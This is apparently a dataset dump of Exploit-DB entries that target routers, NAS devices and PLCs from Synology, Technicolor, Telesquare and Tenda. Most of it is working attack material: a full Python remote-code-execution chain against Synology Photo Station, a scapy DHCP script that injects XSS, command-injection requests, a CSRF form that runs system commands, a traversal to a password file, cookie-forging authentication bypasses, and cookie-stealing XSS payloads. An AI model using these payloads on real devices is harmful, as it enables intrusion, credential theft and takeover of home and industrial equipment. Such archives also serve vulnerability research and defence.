deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42434
Description: Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2017-08-08
Author: Kacper Szurek

Exploit:
'''
Source: https://blogs.securiteam.com/index.php/archives/3356

Vulnerability details
The remote code execution is a combination of 4 different vulnerabilities:

Upload arbitrary files to the specified directories
Log in with a fake authentication mechanism
Log in to Photo Station with any identity
Execute arbitrary code by authenticated user with administrator privileges
The chain of vulnerabilities will allow you, in the end, to execute code as:

uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
'''
import requests

# What server you want to attack
synology_ip = 'http://192.168.1.100'

# Your current IP
ip = '192.168.1.200'

# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'

encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'

print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]

r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text

print "[+] Login as fake admin"

# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}

try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)

whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text

print "[+] Upload php file"

c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text


print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))

print f.text
Exploit-DB #44809
Description: TAC Xenta 511/911 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2018-05-31
Author: Marek Cybul

Exploit:
# Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure
# Date: 25.05.2018
# Exploit Author: Marek Cybul
# Vendor Homepage:
https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf
# Version: 5.17

# Schneider Electric TAC Xenta 911 and 511 PLCs

Directory traversal in help manuals allows for credentials extraction

Devices are not indexed by crawlers like Shodan or Censys due to
ancient SSL configuration,
needed to use old browser to support it (not even s_client, curl or
ncat could connect).


Example URI: /www/help/public/../../../sys/pswd

vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

HTTP/1.0 200 OK

root
super user
/
/
/
password
0
900
3
Exploit-DB #35462
Description: Technicolor DT5130 2.05.C29GV - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-12-04
Author: Crash

Exploit:
Product: Wireless N ADSL 2/2+ Modem Router
Firmware Version : V2.05.C29GV
Modem Type : ADSL2+ Router
Modem Vendor : Technicolor
Model: DT5130

Bugs:
1- Unauth Xss - CVE-2014-9142
user=teste&[CREDENTIAL_REDACTED]
userlevel=15&refer=%2Fnigga.html&failrefer=/basicauth.cgi?index.html?failrefer=<script></script><script>alert('TESTE')</script>"%0A&login=Login&[CREDENTIAL_REDACTED]=/index.html&user=teste&userlevel=15&login=Login

2- Arbitrari URL redirect - CVE-2014-9143
failrefer=http://blog.dclabs.com.br&login=Login&[CREDENTIAL_REDACTED]=/index.html&user=1&userlevel=15

3- Command Injection in ping field - CVE-2014-9144
setobject_token=SESSION_CONTRACT_TOKEN_TAG%3D[PII_REDACTED]012345&setobject_ip=s1.3.6.1.4.1.283.1000.2.1.6.4.1.0%3Dwww.google.com.br|`id`&setobject_ping=i1.3.6.1.4.1.283.1000.2.1.6.4.2.0%3D1&getobject_result=IGNORE


-- 
Ewerson Guimaraes (Crash)
Pentester/Researcher
DcLabs / Ibliss  Security Team
www.dclabs.com.br / www.ibliss.com.br
Exploit-DB #31894
Description: Technicolor TC7200 - Credentials Disclosure
Type: webapps
Platform: hardware
Date: 2014-02-25
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Technicolor TC7200: Authentication Bypass
# Google Dork: N/A
# Date: 24-02-2014
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage: http://www.technicolor.com/
# Software Link: http://www.technicolor.com/en/solutions-services/connected-home/modems-gateways/cable-modems-gateways/tc7200-tc7300
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-1677
#

## Description:
#
# Any user on the internal network can download a backup configuration file without authenticating first. The backup file contains
# the credentials to the administrative web interface.
#
## PoC:
#
# Download the file: http://192.168.0.1/goform/system/GatewaySettings.bin
# 
# Using the command: $ hexedit -C GatewaySettings.bin
#
# 00006590  00 00 00 00 00 00 00 00  30 4d 4c 6f 67 00 06 00 |........0MLog...|
# 000065a0  05 61 64 6d 69 6e 00 15  6d 79 73 75 70 65 72 73 |.admin..mysupers|
# 000065b0  65 63 72 65 74 70 61 73  73 77 6f 72 64 00 06 75 |ecretpassword..u|
# 000065c0  70 63 63 73 72 00 00                             |pccsr..|
# 000065c7
#
# 

# More information can be found at:http://www.nerdbox.it/technicolor-tc7200-auth-bypass-dos/
Exploit-DB #30667
Description: Technicolor TC7200 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-01-03
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Technicolor TC7200 - Multiple CSRF Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0621
#
# Proof of Concept:
# 
# 
## Payload for Factory Reset:
#  
# POST     : http://<ip>/goform/system/factory
# Parameter: None
# 
## Payload to disable the advanced options:
# 
# POST     : http://<ip>/goform/advanced/options 
# Parameter: None
# 
## Payload to remove ip-filters:
# 
# POST     : http://<ip>//goform/advanced/ip-filters
# Parameter: IpFilterAddressDelete1 = 1
# 
## Payload to remove firewall settings 
#  
# POST     : http://<ip>/goform/advanced/firewall
# Parameter: cbFirewall = 1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-multiple-csrf-vulnerabilities/
Exploit-DB #30668
Description: Technicolor TC7200 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-01-03
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Technicolor TC7200 - Multiple XSS Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0620
#
# Proof of Concept:
# 
# 
## Persistent Cross Site Scripting:
#  
# POST      : http://<ip>/parental/website-filters.asp
# Parameters: 
#  
# WebFilteringTable          0
# WebFilteringChangePolicies 0
# WebFiltersADDKeywords    
# WebFilteringdomainMode     0
# ADDNewDomain               <script>alert('IT Nerdbox');</script>
# WebFiltersKeywordButton    0
# WebFiltersDomainButton     1
# WebPolicyName    
# WebFiltersRemove           0
# WebFiltersADD              0
# WebFiltersReset            0
#
#
## Reflected Cross Site Scripting
#
# POST      : http://<ip>//goform/status/diagnostics-route
# Parameters: 
# 
# VmTracerouteHost    "><script>alert('IT  Nerdbox');</script>
# VmMaxTTL            30
# VmTrIsInProgress    0
# VmTrUtilityCommand  1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-xss-vulnerabilities/
Exploit-DB #47652
Description: Technicolor TC7300.B0 - 'hostname' Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-11-13
Author: Luis Santana

Exploit:
# Exploit Title: Technicolor TC7300.B0 - 'hostname' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: Luis Stefan
# Vendor Homepage: https://www.technicolor.com/
# Software Link: N/A
# Version: TC7300.B0 - STFA.51.20
# Tested on: macOS Mojave and Catalina
# CVE : 

#!/usr/bin/env python3
__author__ = "Luis Stefan"
__license__ = "MIT"
__version__ = "1.0"
__email__ = "luis.ss@protonmail.com"
__description__ = """CVE-2019-17524.py: This script is used to exploit a xss vulnerability found in a technicolor device."""

from enum import IntEnum
from scapy.all import *
import codecs, threading, time

# Define your network interface
interface = 'en0'
# Insert your interface card mac address
mac = 'xx:xx:xx:xx:xx:xx'
broadcast = 'ff:ff:ff:ff:ff:ff'
mac_hxd = codecs.decode(mac.replace(':', ''),'hex')

class Bootp(IntEnum):
    Discover = 1
    Offer = 2
    Request = 3
    Decline = 4
    Ack = 5
    Nak = 6
    Release = 7

def dhcp_discover():
    disc_pkt = Ether(src=mac, dst=broadcast) / \
        IP(src='0.0.0.0', dst='255.255.255.255') / \
        UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) / \
        DHCP(options=[('message-type', 'discover'), 'end'])
    sendp(disc_pkt, iface=interface)

def dhcp_request(pkt):
    yraddr = pkt['BOOTP'].yraddr
    # gwaddr == Gateway Ip Address
    gwaddr = '192.168.0.1'
    param_req_list = []
    hostname = "<script>alert('XSS triggered')</script>"
    req_pkt = Ether(src=mac, dst=broadcast) / \
        IP(src='0.0.0.0', dst='255.255.255.255') / \
        UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) / \
        DHCP(options=[('message-type', 'request'), ('server_id', gwaddr),
                      ('requested_addr', yraddr), ('hostname', hostname), 'end'])
    sendp(req_pkt, iface=interface)

def dhcp(pkt):
    print(pkt.display())
    print("#############################################################")
    if pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Offer:
        dhcp_request(pkt)
    elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Ack:
        print("Server Acknowledged")
        sys.exit(0)
    elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Decline:
        print("Server Declined")
        sys.exit(0)
    elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Nak:
        print("Server Nak")
        sys.exit(0)


def ver_dhcp():
    print("Verifying DHCP port traffic..")
    sniff(iface=interface, prn=dhcp, filter="port 68 and port 67", timeout=20)
    sys.exit(0)


def main():
    t1 = threading.Thread(target=ver_dhcp, args=())
    t1.setDaemon = True
    t1.start()
    time.sleep(2)
    dhcp_discover()


if __name__ == "__main__":
    main()
Exploit-DB #47651
Description: Technicolor TD5130.2 - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2019-11-13
Author: João Teles

Exploit:
# Exploit Title: Technicolor TD5130.2 - Remote Command Execution
# Date: 2019-11-12
# Exploit Author: João Teles
# Vendor Homepage: https://www.technicolor.com/
# Version: TD5130v2
# Firmware Version: OI_Fw_V20
# CVE : CVE-2019-18396

---------------------------

POST /mnt_ping.cgi HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http:/HOST/mnt_ping.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Cookie: session=COOKIE
Connection: close
Upgrade-Insecure-Requests: 1

isSubmit=1&addrType=3&pingAddr=;ls&send=Send
Exploit-DB #43400
Description: Telesquare SKT LTE Router SDT-CS3B1 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2017-12-27
Author: LiquidWorm

Exploit:
Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution


Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
                  LteVer: ML300S5XEA41_090  1 0.1.0
                  Modem model: PM-L300S

Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.

Desc: The router suffers from authenticated arbitrary system command
execution. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain actions
with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: lighttpd/1.4.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5443
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php


22.12.2017

--


IDOR for system command interface:
----------------------------------

GET /admin/system_command.shtml HTTP/1.1



PoC GET CSRF request:
---------------------

<html>
  <body>
    <form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
      <input type="hidden" name="Command" value="sysCommand" />
      <input type="hidden" name="Cmd" value="uname%20-a" />
      <input type="hidden" name="T" value="[PII_REDACTED]337" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>
Exploit-DB #43402
Description: Telesquare SKT LTE Router SDT-CS3B1 - Information Disclosure
Type: webapps
Platform: hardware
Date: 2017-12-27
Author: LiquidWorm

Exploit:
Telesquare SKT LTE Router SDT-CS3B1 Insecure Direct Object Reference Info Leak


Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
                  LteVer: ML300S5XEA41_090  1 0.1.0
                  Modem model: PM-L300S

Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.

Desc: Insecure direct object references occur when an application
provides direct access to objects based on user-supplied input. As
a result of this vulnerability attackers can bypass authorization
and access resources and functionalities in the system.

Tested on: lighttpd/1.4.20
Linux mips


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5445
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5445.php


22.12.2017

--



/home.html                                  <<  Version and status info leak (firmware, device, type, modem, lte)
/index.html                                 <<  Version and status info leak (firmware, device, type, modem, lte)
/nas/smbsrv.shtml                           <<  Samba server settings (workgroup, netbios name)
/nas/ftpsrv.shtml                           <<  FTP settings
/wifi2g/basic.shtml                         <<  Wireless settings
/admin/status.shtml                         <<  Access point status info leak
/internet/wan.shtml                         <<  WAN settings info leak (wanip, subnet, gateway, macaddr, lteipaddr, dns)
/internet/lan.shtml                         <<  LAN settings info leak (dhcpip, lanip, macaddr, gateway, subnet, dns)
/admin/statistic.shtml                      <<  System statistics info leak
/admin/management.shtml                     <<  System management (account settings, ntp settings, ddns settings)
/serial/serial_direct.shtml                 <<  Direct serial settings (network connection settings, serverip, port)
/admin/system_command.shtml                 <<  System command interface
/internet/dhcpcliinfo.shtml                 <<  DHCP Clients info leak (hostname, macaddr, ipaddr)
/admin/upload_firmware.shtml                <<  Router firmware and lte firmware upgrade
/firewall/vpn_futuresystem.shtml            <<  VPN settings (udp packet transfer, icmp check)
/cgi-bin/lte.cgi?Command=getUiccState       <<  GetUiccState()
/cgi-bin/lte.cgi?Command=getModemStatus     <<  Modem status info leak
/cgi-bin/systemutil.cgi?Command=SystemInfo  <<  System info leak
Exploit-DB #50862
Description: Telesquare TLR-2855KS6 - Arbitrary File Creation
Type: webapps
Platform: hardware
Date: 2022-04-11
Author: Momen Eldawakhly

Exploit:
# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46418

# Proof of Concept

PUT /cgi-bin/testing_cve.txt HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: nonce=[PII_REDACTED]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Exploit-DB #50863
Description: Telesquare TLR-2855KS6 - Arbitrary File Deletion
Type: webapps
Platform: hardware
Date: 2022-04-11
Author: Momen Eldawakhly

Exploit:
# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46419

# Proof of Concept

DELETE /cgi-bin/test.cgi HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 438
Origin: http://192.168.1.5
DNT: 1
Connection: close
Referer: http://192.168.1.5/
Cookie: nonce=[PII_REDACTED]222
Exploit-DB #34969
Description: Tenda A32 Router - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-10-14
Author: zixian

Exploit:
# Exploit Title: Tenda A32 Router CSRF Vulnerability(reboot the Router)
# CVE ID :CVE-2014-7281
# Date: 2014-10-10
# Exploit Author: zixian
# Vendor Homepage: http://tenda.com.cn/
# Software Link: http://tenda.com.cn/Catalog/Product/325
# Version: V5.07.53_CN



When the administrator login, click on the link below， the device will reboot。


<a href="http://192.168.2.1/goform/SysToolReboot">reboot</a>
Exploit-DB #34361
Description: Tenda A5s Router 3.02.05_CN - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2014-08-18
Author: zixian

Exploit:
-----------------------------------------------------------------------
          Tenda A5s Router Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author      : zixian
Mail        : me@zixian.org
Date        : Aug, 17-2014
 
Vendor      : http://tenda.com.cn/
Link        : http://tenda.com.cn/Catalog/Product/223
Version     : V3.02.05_CN
CVE         : CVE-2014-5246
 
Exploit & p0c
_____________
 
go to
    http://192.168.2.1/
 
then set cookie with javascript
 
    javascript:document.cookie='admin:language=zh-cn'

go to
    http://192.168.2.1/advance.asp

you are the admin!
_____________
Exploit-DB #49478
Description: Tenda AC5 AC1200 Wireless - 'WiFi Name & Password' Stored Cross Site Scripting
Type: webapps
Platform: hardware
Date: 2021-01-26
Author: Chiragh Arora

Exploit:
# Exploit Title: Tenda AC5 AC1200 Wireless - 'WiFi Name & Password' Stored Cross Site Scripting
# Exploit Author: Chiragh Arora
# Hardware Model: Tenda AC5 AC1200
# Firmware version: V15.03.06.47_multi
# Tested on: Kali Linux
# CVE ID: CVE-2021-3186
# Date: 25.01.2021

##########################################################################

Steps to Reproduce -

   - Navigate to the Tenda AC1200 gateway with 192.168.0.1 
   - Follow up to the WiFi Settings and click the “WiFi Name & Password” option there.
   - Manipulate the WiFi Name with "<script>alert(1)</script>"
   - Click the “Save” button & as the page refresh, you’ll got an alert stating “1” within it.
   
Note: It doesn’t matter which Network Name parameter (2.4 GHz or 5 GHz) you’re manipulating, you’ll encounter the popup over in both of them.
Exploit-DB #45336
Description: Tenda ADSL Router D152 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-05
Author: Sandip Dey

Exploit:
# Exploit Title: Tenda D152 ADSL Router - Cross-Site Scripting
# Exploit Author: Sandip Dey
# Date: 2018-07-21
# Vendor Homepage:  http://www.tendacn.com
# Hardware Link: https://www.amazon.in/Tenda-D152-ADSL2-Modem-Router/dp/B00IM8CWTE/ref=sr_1_fkmr0_1?ie=UTF8&qid=[PII_REDACTED]&sr=8-1-fkmr0&keywords=Tenda+D152+ADSL+router
# Category: Hardware
# Tested on: Windows 8.1
# CVE: CVE-2018-14497
  
# Reproduction Steps:
  
Goto your Wifi Router Gateway [i.e: http://Target]
Go to --> "General Setup" --> "Wireless" --> "Basic Settings
Now change the SSID to <script>alert("Sandip")</script> and hit apply
Refresh the page, and you will get the "Sandip" pop-up
Exploit-DB #47107
Description: Tenda D301 v2 Modem Router - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-07-12
Author: ABDO10

Exploit:
# Exploit Title: tenda D301 v2 modem router stored xss CVE-2019-13492
# Exploit Author: ABDO10
# Date : July, 11th 2019
# Product : Tenda D301 v2  Modem Router
# version : v2
# Vendor Homepage: https://www.tp-link.com/au/home-networking/dsl-modem-router/td-w8960n/
# Tested on: Linux
# CVE : 2019-13491


# Poc Instructions :
/*******************************************************************************************************************/
> 1 - Open modem router  on web browser default(192.168.1.1)
> 2 - Click on advanced -> Wireless -> Security
> 3 - fill this payload : <img src="xy" OnError=prompt(document.cookie)>  as password
> 4 - Click on "click to display"
/*******************************************************************************************************************/
Exploit-DB #41402
Description: Tenda N3 Wireless N150 Router - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2015-09-03
Author: Mandeep Jadon

Exploit:
# Exploit Title: Complete Authentication Bypass In Tenda N3 Wireless N150 Routers
# Date: 03-09-2015
# Software Link: http://tendacn.com/en/product/N150.html
# Exploit Author: Mandeep Jadon
# Contact: http://twitter.com/1337tr0lls
# Website: http://twitter.com/1337tr0lls
# CVE: CVE-2015-5995
# Category: Device


Description:

The router (AP) is using very poor authentication mechanism . It uses a
static cookie to verify the incoming authentication. After careful
inspection it was found that the cookie used were same for any number of
authentication by the Admin .

Thus the cookie can be easily forged and the admin account could be
compromised without supplying the credentials .

Proof Of Concept:

Inject the following cookie in the browser with the given values :

admin:language : en

Reload the page . You are logged into the admin account .

Video POC : https://www.youtube.com/watch?v=dvF-7KK0g6E

Mitigation :

Use: a secure authentication mechanism consisting of random , complex
cookies .

References :
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-5995
https://www.kb.cert.org/vuls/id/630872